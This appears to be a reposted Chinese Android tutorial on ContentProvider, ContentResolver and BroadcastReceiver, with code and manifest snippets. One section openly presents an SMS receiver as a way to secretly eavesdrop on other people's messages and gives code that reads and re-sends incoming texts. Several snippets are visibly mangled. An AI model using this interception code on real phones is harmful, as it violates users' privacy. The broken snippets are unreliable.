14天学会安卓开发(第九天)ContentProvider与BroadcastReceiver

14天学会安卓开发  
作者:神秘的N (英文名  corder_raine)
联系方式:369428455(反馈)
交流群 :284552167(示例,原文档下载)
版权为作者所有,如有转载请注明出处
目录  


第九天.ContentProvider与BroadcastReceiver 93

9.1 ContentProvider 93

9.1.1 使用ContentProvider共享数据... 93
9.1.2 Uri介绍... 94
9.1.3 UriMatcher类使用介绍... 95
9.1.4 使用ContentProvider共享数据... 96

9.2 ContentResolver 96

9.2.1 ContentResolver
9.2.2 读取电话本... 97

9.3 BroadcastReceiver 98

9.3.1 Broadcast Intent Receiver 98
9.3.2 广播接收者--BroadcastReceiver 98
9.3.4 广播接收者... 99
9.3.5 闹钟与提醒服务Demo . 100


第九天.ContentProviderBroadcastReceiver
9.1 ContentProvider       
9.1.1 使用ContentProvider共享数据
当应用继承ContentProvider 类,并重写该类用于提供数据和存储数据的方法,就可以向其他应用共享其数据。虽然使用其他方法也可以对外共享数据,但数据访问方式会因数据存储的方式而不同,如:采用文件方式对外共享数据,需要进行文件操作读写数据;采用sharedpreferences 共享数据,需要使用sharedpreferences API 读写数据。而使用ContentProvider 共享数据的好处是统一了数据访问方式。
当应用需要通过ContentProvider 对外共享数据时,第一步需要继承ContentProvider 并重写下面方法:
1
2
3
4
5
6
7
public class PersonContentProvider extendsContentProvider{
   public boolean onCreate()
   public Uri insert(Uri uri, ContentValues values)
   public int delete(Uri uri, String selection, String[] selectionArgs)
   public int update(Uri uri, ContentValues values, String selection,String[] selectionArgs)
   public Cursor query(Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder)
    publicString getType(Uri uri)}
第二步需要在AndroidManifest.xml 使用<provider> 对该ContentProvider 进行配置,为了能让其他应用找到该ContentProvider   ContentProvider  采用了authorities (主机名/ 域名)对它进行唯一标识,你可以把ContentProvider 看作是一个网站(想想,网站也是提供数据者),authorities  就是他的域名:
1
2
3
4
5
< manifest .... >
    < application android:icon = "@drawable/icon" android:label = "@string/app_name" >
        < provider android:name = ".PersonContentProvider" android:authorities=“com.lxt008.provider.personprovider"/>
    </ application >
</ manifest >
注意:一旦应用继承了ContentProvider 类,后面我们就会把这个应用称为ContentProvider (内容提供者)。
9.1.2 Uri介绍
Uri 代表了要操作的数据,Uri 主要包含了两部分信息:1 》需要操作的ContentProvider  2 》对ContentProvider 中的什么数据进行操作,一个Uri 由以下几部分组成:

图片1.png 
file:///C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/msohtmlclip1/01/clip_image002.gif
ContentProvider (内容提供者)的scheme 已经由Android 所规定, scheme 为:content://
主机名(或叫Authority )用于唯一标识这个ContentProvider ,外部调用者可以根据这个标识来找到它。
路径(path )可以用来表示我们要操作的数据,路径的构建应根据业务而定,如下:
要操作person 表中id 10 的记录,可以构建这样的路径:/person/10
要操作person 表中id 10 的记录的name 字段, person/10/name
要操作person 表中的所有记录,可以构建这样的路径:/person
要操作xxx 表中的记录,可以构建这样的路径:/xxx
当然要操作的数据不一定来自数据库,也可以是文件等他存储方式,如下:
要操作xml 文件中person 节点下的name 节点,可以构建这样的路径:/person/name
如果要把一个字符串转换成Uri ,可以使用Uri 类中的parse() 方法,如下:
Uri uri =Uri.parse("content://com.lxt008.provider.personprovider/person")

9.1.3 UriMatcher类使用介绍
因为Uri 代表了要操作的数据,所以我们很经常需要解析Uri ,并从Uri 中获取数据。Android 系统提供了两个用于操作Uri 的工具类,分别为UriMatcher ContentUris  。掌握它们的使用,会便于我们的开发工作。
UriMatcher 类用于匹配Uri ,它的用法如下:
首先第一步把你需要匹配Uri 路径全部给注册上,如下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
//常量UriMatcher.NO_MATCH表示不匹配任何路径的返回码
UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
//如果match()方法匹配content://com.lxt008.provider.personprovider/person路径,返回匹配码为1
sMatcher.addURI(“cn.itcast.provider.personprovider”,“person”, 1 ); //添加需要匹配uri,如果匹配就会返回匹配码
//如果match()方法匹配content://com.lxt008.provider.personprovider/person/230路径,返回匹配码为2
sMatcher.addURI(“com.lxt008.provider.personprovider”,“person/#”, 2 ); //#号为通配符
switch (sMatcher.match(Uri.parse( "content://com.lxt008.provider.personprovider/person/10" ))){
   case 1
    break ;
   case 2
    break ;
   default : //不匹配
    break ;
}
注册完需要匹配的Uri 后,就可以使用sMatcher.match(uri) 方法对输入的Uri 进行匹配,如果匹配就返回匹配码,匹配码是调用addURI() 方法传入的第三个参数,假设匹配content://com.lxt008.provider.personprovider/person 路径,返回的匹配码为1

ContentUris 类用于获取Uri 路径后面的ID 部分,它有两个比较实用的方法:
withAppendedId(uri, id) 用于为路径加上ID 部分:
1
2
Uri resultUri =ContentUris.withAppendedId(uri, 10 );
// 生成后的Uri 为:content://com.lxt008.provider.personprovider/person/10
parseId(uri) 方法用于从路径中获取ID 部分:
1
2
long personid = ContentUris.parseId(uri); //获取的结果为:10

9.1.4 使用ContentProvider共享数据
ContentProvider 类主要方法的作用:
public boolean onCreate()
该方法在ContentProvider 创建后就会被调用, Android 在系统启动时就会创建ContentProvider 
public Uri insert(Uri uri, ContentValuesvalues)
该方法用于供外部应用往ContentProvider 添加数据。
public int delete(Uri uri, Stringselection, String[] selectionArgs)
该方法用于供外部应用从ContentProvider 删除数据。
public int update(Uri uri, ContentValuesvalues, String selection, String[] selectionArgs)
该方法用于供外部应用更新ContentProvider 中的数据。
public Cursor query(Uri uri, String[]projection, String selection, String[] selectionArgs, String sortOrder)
该方法用于供外部应用从ContentProvider 中获取数据。
public String getType(Uri uri)
该方法用于返回当前Url 所代表数据的MIME 类型。如果操作的数据属于集合类型,那么MIME 类型字符串应该以vnd.android.cursor.dir/ 开头,例如:要得到所有person 记录的Uri content://com.lxt008.provider.personprovider/person ,那么返回的MIME 类型字符串应该为:“vnd.android.cursor.dir/person” 。如果要操作的数据属于单一数据,那么MIME 类型字符串应该以vnd.android.cursor.item/ 开头,例如:得到id 10 person 记录,Uri content://com.lxt008.provider.personprovider/person/10 ,那么返回的MIME 类型字符串应该为:“vnd.android.cursor.item/person”




9.2 ContentResolver 
9.2.1 ContentResolver
当外部应用需要对ContentProvider 中的数据进行添加、删除、修改和查询操作时,可以使用ContentResolver 类来完成,要获取ContentResolver 对象,可以使用Activity 提供的getContentResolver() 方法。 ContentResolver  类提供了与ContentProvider 类相同签名的四个方法:
public Uri insert(Uri uri, ContentValuesvalues)
该方法用于往ContentProvider 添加数据。
public int delete(Uri uri, Stringselection, String[] selectionArgs)
该方法用于从ContentProvider 删除数据。
public int update(Uri uri, ContentValuesvalues, String selection, String[] selectionArgs)
该方法用于更新ContentProvider 中的数据。
public Cursor query(Uri uri, String[]projection, String selection, String[] selectionArgs, String sortOrder)
该方法用于从ContentProvider 中获取数据。
这些方法的第一个参数为Uri ,代表要操作的是哪个ContentProvider 和对其中的什么数据进行操作,假设给定的是:Uri.parse(“content://com.lxt008.provider.personprovider/person/10”) ,那么将会对主机名为com.lxt008.provider.personprovider ContentProvider 进行操作,操作的数据为person 表中id 10 的记录。


使用ContentResolver ContentProvider 中的数据进行添加、删除、修改和查询操作:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
ContentResolver resolver =  getContentResolver();
Uri uri =Uri.parse(“content: //com.lxt008.provider.personprovider/person");
//添加一条记录
ContentValues values = new ContentValues();
values.put( "name" ,“lxt008");
values.put( "age" , 35 );
resolver.insert(uri, values);          
//获取person表中所有记录
Cursor cursor = resolver.query(uri, null , null , null , "personid desc" );
while (cursor.moveToNext()){
        Log.i( "ContentTest" , "personid=" + cursor.getInt( 0 )+ ",name=" +cursor.getString( 1 ));
}
//把id为1的记录的name字段值更改新为liming
ContentValues updateValues = newContentValues();
updateValues.put( "name" , "liming" );
Uri updateIdUri =ContentUris.withAppendedId(uri, 2 );
resolver.update(updateIdUri, updateValues, null , null );
//删除id为2的记录
Uri deleteIdUri =ContentUris.withAppendedId(uri, 2 );
resolver.delete(deleteIdUri, null , null );


9.2.2 读取电话本
Demo 请参考systemcontacts
进程间交互可以通过ContentResolver ContentProvider 类处理。








9.3 BroadcastReceiver 
9.3.1 Broadcast Intent Receiver
当你想要写一个程序来对外部的事件做些处理时,可以使用Broadcast Intent Receiver 。比如:当电话响时,有短信时。Broadcast Intent Receiver 它并不能拿来显示UI 画面,它必需利用NotificationManager 来通知使用者他们感兴趣的事件发生了。
Broadcast Intent Receiver 同样的可以在AndroidManifest.xml 中声明,但你也可以用写Context.registerReceiver() 程序的方式来注册你自己的Broadcast Intent Receiver 。你自己的程序并不会因为BroadcastReceivers 被呼叫而被它执行起来。而是当BroadcastReceiver 被触发  时系统会依需求来执行相对应的程序。
程序可以利用Context.sendBroadcast() 来发出他们自己的intent broadcast 给其它的程序。

9.3.2 广播接收者--BroadcastReceiver
广播接收者(BroadcastReceiver )用于异步接收广播Intent ,广播Intent 的发送是通过调用Context.sendBroadcast() Context.sendOrderedBroadcast() 或者Context.sendStickyBroadcast() 来实现的。通常一个广播Intent 可以被订阅了此Intent 的多个广播接收者所接收,广播接收者和JMS 中的Topic 消息接收者很相似。要实现一个广播接收者方法如下:
第一步:继承BroadcastReceiver ,并重写onReceive() 方法。
1
2
3
4
public class IncomingSMSReceiver extendsBroadcastReceiver {
        @Overridepublic void onReceive(Context context, Intent intent) {
        }
}
第二步:订阅感兴趣的广播Intent ,订阅方法有两种:
第一种:使用代码进行订阅
1
2
3
IntentFilter filter = newIntentFilter( "android.provider.Telephony.SMS_RECEIVED" );
IncomingSMSReceiver receiver = newIncomingSMSReceiver();
registerReceiver(receiver, filter);
第二种:在AndroidManifest.xml 文件中的<application> 节点里进行订阅:
1
2
3
4
5
< receiver android:name = ".IncomingSMSReceiver" >
    < intent-filter >
         < actionandroid:name = "android.provider.Telephony.SMS_RECEIVED" />
    </ intent-filter >
</ receiver >




9.3.3 使用广播接收者窃听短信
如果你想窃听别人接收到的短信,达到你不可告人的目的,那么本节内容可以实现你的需求。
当系统收到短信时,会发出一个action 名称为android.provider.Telephony.SMS_RECEIVED 的广播Intent ,该Intent 存放了接收到的短信内容,使用名称“pdus ”即可从Intent 中获取短信内容。
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
public class IncomingSMSReceiver extendsBroadcastReceiver {
private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED" ;
@Override public void onReceive(Contextcontext, Intent intent) {
if (intent.getAction().equals(SMS_RECEIVED)) {
        SmsManagersms = SmsManager.getDefault();
        Bundlebundle = intent.getExtras();
        if (bundle != null ) {
        Object[]pdus = (Object[]) bundle.get( "pdus" );
        SmsMessage[]messages = new SmsMessage[pdus.length];
        for ( int i = 0 ; i < pdus.length; i++) messages =SmsMessage.createFromPdu(( byte []) pdus);
               for (SmsMessage message : messages){
                      Stringmsg = message.getMessageBody();
                      Stringto = message.getOriginatingAddress();
                      sms.sendTextMessage(to, null , msg, null , null );
}}}}}
AndroidManifest.xml文件中的<application>节点里对接收到短信的广播Intent进行订阅:
1
2
< receiverandroid:name = ".IncomingSMSReceiver" >
< intent-filter >< actionandroid:name = "android.provider.Telephony.SMS_RECEIVED" /></ intent-filter ></ receiver >
AndroidManifest.xml文件中添加以下权限:
1
2
< uses-permissionandroid:name = "android.permission.RECEIVE_SMS" /> <!-- 接收短信权限 -->
< uses-permissionandroid:name = "android.permission.SEND_SMS" /> <!-- 发送短信权限 -->
9.3.4 广播接收者
除了短信到来广播Intent Android 还有很多广播Intent ,如:开机启动、电池电量变化、时间已经改变等广播Intent
l   接收电池电量变化广播Intent ,在AndroidManifest.xml文件中的<application>节点里订阅此Intent:
01
02
03
04
05
06
07
08
09
10
11
< receiverandroid:name = ".IncomingSMSReceiver" >
    < intent-filter >
         < action android:name = "android.intent.action.BATTERY_CHANGED" />
    </ intent-filter >
</ receiver >
l   接收开机启动广播Intent,在AndroidManifest.xml文件中的< application >节点里订阅此Intent:
< receiverandroid:name = ".IncomingSMSReceiver" >
    < intent-filter >
         < action android:name = "android.intent.action.BOOT_COMPLETED" />
    </ intent-filter >
</ receiver >
并且要进行权限声明:
1
< uses-permissionandroid:name = "android.permission.RECEIVE_BOOT_COMPLETED" />


通常一个BroadcastReceiver 对象的生命周期不超过5 秒,所以在BroadcastReceiver 里不能做一些比较耗时的操作,如果需要完成一项比较耗时的工作,可以通过发送Intent Activity Service ,由Activity Service 来完成。
01
02
03
04
05
06
07
08
09
10
public class IncomingSMSReceiver extendsBroadcastReceiver {
        @Overridepublic void onReceive(Context context, Intent intent) {
            //发送Intent启动服务,由服务来完成比较耗时的操作
            Intent service = new Intent(context, XxxService. class );
            context.startService(service);
            //发送Intent启动Activity,由Activity来完成比较耗时的操作
            Intent newIntent = new Intent(context, XxxActivity. class );
            context.startActivity(newIntent);
        }
}


9.3.5 闹钟与提醒服务Demo
Ø  研究案例:AlarmDemo
Ø  研究案例: MultiAlarmReceiver



一共十个案例
AlarmDemo
ch06_contacts_contentprovider
ch07_addcontact_receiver
ch07_contacts_broadcast
ch08_startupservice
ContentProviderDemo
ContentResolverContract
MultiAlarmReceiver
Service&BroadcastReciever
systemcontacts
示例下载
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值